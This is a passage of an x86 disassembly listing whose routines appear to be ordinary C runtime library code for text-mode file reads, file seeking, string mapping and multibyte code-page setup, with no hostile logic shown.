		jnb	short loc_41BACA
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BAC1
		add	[ebp+arg_8], 2
		jmp	short loc_41BB1F
; ---------------------------------------------------------------------------

loc_41BAC1:				; CODE XREF: sub_41B989+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------

loc_41BACA:				; CODE XREF: sub_41B989+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421068
		test	eax, eax
		jnz	short loc_41BAF2
		call	dword_421088
		test	eax, eax
		jnz	short loc_41BB39

loc_41BAF2:				; CODE XREF: sub_41B989+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41BB39
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41BB14
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41BB1F
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------

loc_41BB14:				; CODE XREF: sub_41B989+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41BB24
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41BB24

loc_41BB1F:				; CODE XREF: sub_41B989+136j
					; sub_41B989+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41BB3C
; ---------------------------------------------------------------------------

loc_41BB24:				; CODE XREF: sub_41B989+18Ej
					; sub_41B989+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41BB3D

loc_41BB39:				; CODE XREF: sub_41B989+167j
					; sub_41B989+16Dj
		mov	byte ptr [edi],	0Dh

loc_41BB3C:				; CODE XREF: sub_41B989+199j
		inc	edi

loc_41BB3D:				; CODE XREF: sub_41B989+11Ej
					; sub_41B989+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41BA90
		jmp	short loc_41BB5B
; ---------------------------------------------------------------------------

loc_41BB4B:				; CODE XREF: sub_41B989+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41BB5B
		or	al, 2
		mov	[esi], al

loc_41BB5B:				; CODE XREF: sub_41B989+101j
					; sub_41B989+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41BB61:				; CODE XREF: sub_41B989+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41BB7A
; ---------------------------------------------------------------------------

loc_41BB66:				; CODE XREF: sub_41B989+12j
					; sub_41B989+39j
		and	dword_4694B8, 0
		mov	dword_4694B4, 9

loc_41BB77:				; CODE XREF: sub_41B989+ABj
					; sub_41B989+C3j
		or	eax, 0FFFFFFFFh

loc_41BB7A:				; CODE XREF: sub_41B989+B7j
					; sub_41B989+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B989	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB7F	proc near		; CODE XREF: sub_416E3E+67p
					; sub_417C37+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_46A8E0
		push	esi
		push	edi
		jnb	short loc_41BC01
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41BC01
		push	eax
		call	sub_41D4C6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41BBC3
		mov	dword_4694B4, 9
		jmp	short loc_41BC12
; ---------------------------------------------------------------------------

loc_41BBC3:				; CODE XREF: sub_41BB7F+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_4210AC
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41BBE3
		call	dword_421088
		jmp	short loc_41BBE5
; ---------------------------------------------------------------------------

loc_41BBE3:				; CODE XREF: sub_41BB7F+5Aj
		xor	eax, eax

loc_41BBE5:				; CODE XREF: sub_41BB7F+62j
		test	eax, eax
		jz	short loc_41BBF2
		push	eax
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_41BC12
; ---------------------------------------------------------------------------

loc_41BBF2:				; CODE XREF: sub_41BB7F+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41BC15
; ---------------------------------------------------------------------------

loc_41BC01:				; CODE XREF: sub_41BB7F+Dj
					; sub_41BB7F+2Aj
		and	dword_4694B8, 0
		mov	dword_4694B4, 9

loc_41BC12:				; CODE XREF: sub_41BB7F+42j
					; sub_41BB7F+71j
		or	eax, 0FFFFFFFFh

loc_41BC15:				; CODE XREF: sub_41BB7F+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BB7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC19	proc near		; CODE XREF: sub_416E3E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41BC35
		mov	[edi+4], ebx

loc_41BC35:				; CODE XREF: sub_41BC19+17j
		push	1
		push	ebx
		push	esi
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41BCA3
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41BC5A
		sub	eax, [edi+4]
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------

loc_41BC5A:				; CODE XREF: sub_41BC19+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41BC94
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_46A7E0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41BCAB
		mov	edx, ecx

loc_41BC85:				; CODE XREF: sub_41BC19+79j
		cmp	edx, eax
		jnb	short loc_41BCAB
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41BC91
		inc	[ebp+var_8]

loc_41BC91:				; CODE XREF: sub_41BC19+73j
		inc	edx
		jmp	short loc_41BC85
; ---------------------------------------------------------------------------

loc_41BC94:				; CODE XREF: sub_41BC19+50j
		test	dl, 80h
		jnz	short loc_41BCAB
		mov	dword_4694B4, 16h

loc_41BCA3:				; CODE XREF: sub_41BC19+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------

loc_41BCAB:				; CODE XREF: sub_41BC19+68j
					; sub_41BC19+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41BCB9
		mov	eax, [ebp+var_8]
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------

loc_41BCB9:				; CODE XREF: sub_41BC19+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41BD64
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41BCD2
		and	[ebp+var_8], edx
		jmp	loc_41BD64
; ---------------------------------------------------------------------------

loc_41BCD2:				; CODE XREF: sub_41BC19+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41BD5E
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BD25
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_41BD10:				; CODE XREF: sub_41BC19+104j
		cmp	eax, ecx
		jnb	short loc_41BD1F
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BD1C
		inc	[ebp+arg_0]

loc_41BD1C:				; CODE XREF: sub_41BC19+FEj
		inc	eax
		jmp	short loc_41BD10
; ---------------------------------------------------------------------------

loc_41BD1F:				; CODE XREF: sub_41BC19+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41BD59
; ---------------------------------------------------------------------------

loc_41BD25:				; CODE XREF: sub_41BC19+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41BB7F
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41BD4C
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41BD4C
		test	ch, 4
		jz	short loc_41BD4F

loc_41BD4C:				; CODE XREF: sub_41BC19+124j
					; sub_41BC19+12Cj
		mov	eax, [edi+18h]

loc_41BD4F:				; CODE XREF: sub_41BC19+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_41BD59:				; CODE XREF: sub_41BC19+10Aj
		jz	short loc_41BD5E
		inc	[ebp+arg_0]

loc_41BD5E:				; CODE XREF: sub_41BC19+D9j
					; sub_41BC19:loc_41BD59j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_41BD64:				; CODE XREF: sub_41BC19+A4j
					; sub_41BC19+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_41BD6C:				; CODE XREF: sub_41BC19+3Cj
					; sub_41BC19+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BC19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD71	proc near		; CODE XREF: sub_417193+A3p
					; sub_41AC71+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421878
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_46953C, edi
		jnz	short loc_41BDE7
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_421870
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_421190
		test	eax, eax
		jz	short loc_41BDC5
		mov	dword_46953C, ebx
		jmp	short loc_41BDE7
; ---------------------------------------------------------------------------

loc_41BDC5:				; CODE XREF: sub_41BD71+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_438FF4
		push	esi
		push	edi
		call	dword_42118C
		test	eax, eax
		jz	loc_41BEFF
		mov	dword_46953C, 2

loc_41BDE7:				; CODE XREF: sub_41BD71+2Ej
					; sub_41BD71+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41BDFC
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_41BDFC:				; CODE XREF: sub_41BD71+79j
		mov	eax, dword_46953C
		cmp	eax, 2
		jnz	short loc_41BE23
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42118C
		jmp	loc_41BF01
; ---------------------------------------------------------------------------

loc_41BE23:				; CODE XREF: sub_41BD71+93j
		cmp	eax, 1
		jnz	loc_41BEFF
		cmp	[ebp+arg_18], edi
		jnz	short loc_41BE39
		mov	eax, dword_469558
		mov	[ebp+arg_18], eax

loc_41BE39:				; CODE XREF: sub_41BD71+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_421064
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41BEFF
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BE94
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_41BE94:				; CODE XREF: sub_41BD71+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41BEFF
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_421064
		test	eax, eax
		jz	short loc_41BEFF
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41BEFF
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41BF13
		cmp	[ebp+arg_14], edi
		jz	loc_41BF8E
		cmp	esi, [ebp+arg_14]
		jg	short loc_41BEFF
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190
		test	eax, eax
		jnz	loc_41BF8E

loc_41BEFF:				; CODE XREF: sub_41BD71+66j
					; sub_41BD71+B5j ...
		xor	eax, eax

loc_41BF01:				; CODE XREF: sub_41BD71+ADj
					; sub_41BD71+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41BF13:				; CODE XREF: sub_41BD71+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BF47
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_41BF47:				; CODE XREF: sub_41BD71+1C2j
		cmp	ebx, edi
		jz	short loc_41BEFF
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190
		test	eax, eax
		jz	short loc_41BEFF
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41BF6E
		push	edi
		push	edi
		jmp	short loc_41BF74
; ---------------------------------------------------------------------------

loc_41BF6E:				; CODE XREF: sub_41BD71+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_41BF74:				; CODE XREF: sub_41BD71+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_421138
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41BEFF

loc_41BF8E:				; CODE XREF: sub_41BD71+165j
					; sub_41BD71+188j
		mov	eax, esi
		jmp	loc_41BF01
sub_41BD71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF95	proc near		; CODE XREF: sub_41BD71+81p
					; sub_41F845+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41BFB2

loc_41BFA5:				; CODE XREF: sub_41BF95+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41BFB2
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41BFA5

loc_41BFB2:				; CODE XREF: sub_41BF95+Ej
					; sub_41BF95+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41BFBD
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_41BFBD:				; CODE XREF: sub_41BF95+21j
		mov	eax, edx
		retn
sub_41BF95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFC0	proc near		; CODE XREF: sub_41C384+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_46A8E4
		mov	[ebp+arg_0], esi
		jz	loc_41C14D
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C143
		xor	edx, edx
		mov	eax, offset dword_438110

loc_41BFF4:				; CODE XREF: sub_41BFC0+41j
		cmp	[eax], esi
		jz	short loc_41C06A
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_438200
		jl	short loc_41BFF4
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_421194
		cmp	eax, 1
		jnz	loc_41C13B
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46AA00
		cmp	[ebp+var_18], 1
		mov	dword_46A8E4, esi
		rep stosd
		stosb
		mov	dword_46AB04, ebx
		jbe	loc_41C129
		cmp	[ebp+var_12], 0
		jz	loc_41C0FF
		lea	ecx, [ebp+var_11]

loc_41C047:				; CODE XREF: sub_41BFC0+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C0FF
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41C058:				; CODE XREF: sub_41BFC0+A8j
		cmp	eax, edx
		ja	loc_41C0F3
		or	byte_46AA01[eax], 4
		inc	eax
		jmp	short loc_41C058
; ---------------------------------------------------------------------------

loc_41C06A:				; CODE XREF: sub_41BFC0+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46AA00
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_438120[esi]

loc_41C086:				; CODE XREF: sub_41BFC0+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C0B9

loc_41C08D:				; CODE XREF: sub_41BFC0+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C0B9
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C0B2
		mov	edx, [ebp+var_4]
		mov	dl, byte_438108[edx]

loc_41C0A7:				; CODE XREF: sub_41BFC0+F0j
		or	byte_46AA01[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C0A7

loc_41C0B2:				; CODE XREF: sub_41BFC0+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C08D

loc_41C0B9:				; CODE XREF: sub_41BFC0+CBj
					; sub_41BFC0+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41C086
		mov	eax, [ebp+arg_0]
		mov	dword_46A8FC, 1
		push	eax
		mov	dword_46A8E4, eax
		call	sub_41C1A3
		lea	esi, dword_438114[esi]
		mov	edi, offset dword_46A8F0
		movsd
		movsd
		pop	ecx
		mov	dword_46AB04, eax
		movsd
		jmp	short loc_41C148
; ---------------------------------------------------------------------------

loc_41C0F3:				; CODE XREF: sub_41BFC0+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C047

loc_41C0FF:				; CODE XREF: sub_41BFC0+7Ej
					; sub_41BFC0+8Bj
		push	1
		pop	eax

loc_41C102:				; CODE XREF: sub_41BFC0+14Fj
		or	byte_46AA01[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C102
		push	esi
		call	sub_41C1A3
		pop	ecx
		mov	dword_46AB04, eax
		mov	dword_46A8FC, 1
		jmp	short loc_41C12F
; ---------------------------------------------------------------------------

loc_41C129:				; CODE XREF: sub_41BFC0+74j
		mov	dword_46A8FC, ebx

loc_41C12F:				; CODE XREF: sub_41BFC0+167j
		xor	eax, eax
		mov	edi, offset dword_46A8F0
		stosd
		stosd
		stosd
		jmp	short loc_41C148
; ---------------------------------------------------------------------------

loc_41C13B:				; CODE XREF: sub_41BFC0+51j
		cmp	dword_469560, ebx
		jz	short loc_41C151

loc_41C143:				; CODE XREF: sub_41BFC0+27j
		call	sub_41C1D6

loc_41C148:				; CODE XREF: sub_41BFC0+131j
					; sub_41BFC0+179j
		call	sub_41C1FF

loc_41C14D:				; CODE XREF: sub_41BFC0+1Dj
		xor	eax, eax
		jmp	short loc_41C154
; ---------------------------------------------------------------------------

loc_41C151:				; CODE XREF: sub_41BFC0+181j
		or	eax, 0FFFFFFFFh

loc_41C154:				; CODE XREF: sub_41BFC0+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BFC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: sub_41BFC0+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_469560, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41C179
		mov	dword_469560, 1
		jmp	dword_42119C
; ---------------------------------------------------------------------------

loc_41C179:				; CODE XREF: sub_41C159+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41C18E
		mov	dword_469560, 1
		jmp	dword_421198
; ---------------------------------------------------------------------------

loc_41C18E:				; CODE XREF: sub_41C159+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41C1A2
		mov	eax, dword_469558
		mov	dword_469560, 1

locret_41C1A2:				; CODE XREF: sub_41C159+38j
		retn
sub_41C159	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1A3	proc near		; CODE XREF: sub_41BFC0+118p
					; sub_41BFC0+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41C1D0
		sub	eax, 4
		jz	short loc_41C1CA
		sub	eax, 0Dh
		jz	short loc_41C1C4
		dec	eax
		jz	short loc_41C1BE
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C1BE:				; CODE XREF: sub_41C1A3+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_41C1C4:				; CODE XREF: sub_41C1A3+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_41C1CA:				; CODE XREF: sub_41C1A3+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_41C1D0:				; CODE XREF: sub_41C1A3+9j
		mov	eax, 411h
		retn
sub_41C1A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1D6	proc near		; CODE XREF: sub_41BFC0:loc_41C143p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_46AA00
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_46A8F0
		mov	dword_46A8E4, eax
		mov	dword_46A8FC, eax
		mov	dword_46AB04, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41C1D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1FF	proc near		; CODE XREF: sub_41BFC0:loc_41C148p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_46A8E4
		call	dword_421194
		cmp	eax, 1
		jnz	loc_41C338
		xor	eax, eax
		mov	esi, 100h

loc_41C229:				; CODE XREF: sub_41C1FF+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41C229
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41C27A
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_41C248:				; CODE XREF: sub_41C1FF+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41C26F
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_41C26F:				; CODE XREF: sub_41C1FF+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41C248
		pop	edi
		pop	ebx

loc_41C27A:				; CODE XREF: sub_41C1FF+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_46AB04
		push	dword_46A8E4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41D1F7
		push	0
		lea	eax, [ebp+var_214]
		push	dword_46A8E4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_46AB04
		call	sub_41BD71
		push	0
		lea	eax, [ebp+var_314]
		push	dword_46A8E4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_46AB04
		call	sub_41BD71
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_41C2F5:				; CODE XREF: sub_41C1FF+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41C313
		or	byte_46AA01[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_41C30B:				; CODE XREF: sub_41C1FF+127j
		mov	byte_46A900[eax], dl
		jmp	short loc_41C32F
; ---------------------------------------------------------------------------

loc_41C313:				; CODE XREF: sub_41C1FF+FCj
		test	dl, 2
		jz	short loc_41C328
		or	byte_46AA01[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41C30B
; ---------------------------------------------------------------------------

loc_41C328:				; CODE XREF: sub_41C1FF+117j
		and	byte_46A900[eax], 0

loc_41C32F:				; CODE XREF: sub_41C1FF+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41C2F5
		jmp	short loc_41C381
; ---------------------------------------------------------------------------

loc_41C338:				; CODE XREF: sub_41C1FF+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_41C33F:				; CODE XREF: sub_41C1FF+180j
		cmp	eax, 41h
		jb	short loc_41C35D
		cmp	eax, 5Ah
		ja	short loc_41C35D
		or	byte_46AA01[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_41C355:				; CODE XREF: sub_41C1FF+174j
		mov	byte_46A900[eax], cl
		jmp	short loc_41C37C
; ---------------------------------------------------------------------------

loc_41C35D:				; CODE XREF: sub_41C1FF+143j
					; sub_41C1FF+148j
		cmp	eax, 61h
		jb	short loc_41C375
		cmp	eax, 7Ah
		ja	short loc_41C375
		or	byte_46AA01[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41C355
; ---------------------------------------------------------------------------

loc_41C375:				; CODE XREF: sub_41C1FF+161j
					; sub_41C1FF+166j
		and	byte_46A900[eax], 0

loc_41C37C:				; CODE XREF: sub_41C1FF+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41C33F

loc_41C381:				; CODE XREF: sub_41C1FF+137j
		pop	esi
		leave
		retn
sub_41C1FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C384	proc near		; CODE XREF: sub_41C7C2+9p
					; sub_41C81A+Dp ...
		cmp	dword_46AB2C, 0
		jnz	short locret_41C39F
		push	0FFFFFFFDh
		call	sub_41BFC0
		pop	ecx
		mov	dword_46AB2C, 1

locret_41C39F:				; CODE XREF: sub_41C384+7j
		retn
sub_41C384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3A0	proc near		; CODE XREF: sub_417348+2Bp
					; sub_417348+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_46A8FC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41C3C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416D40
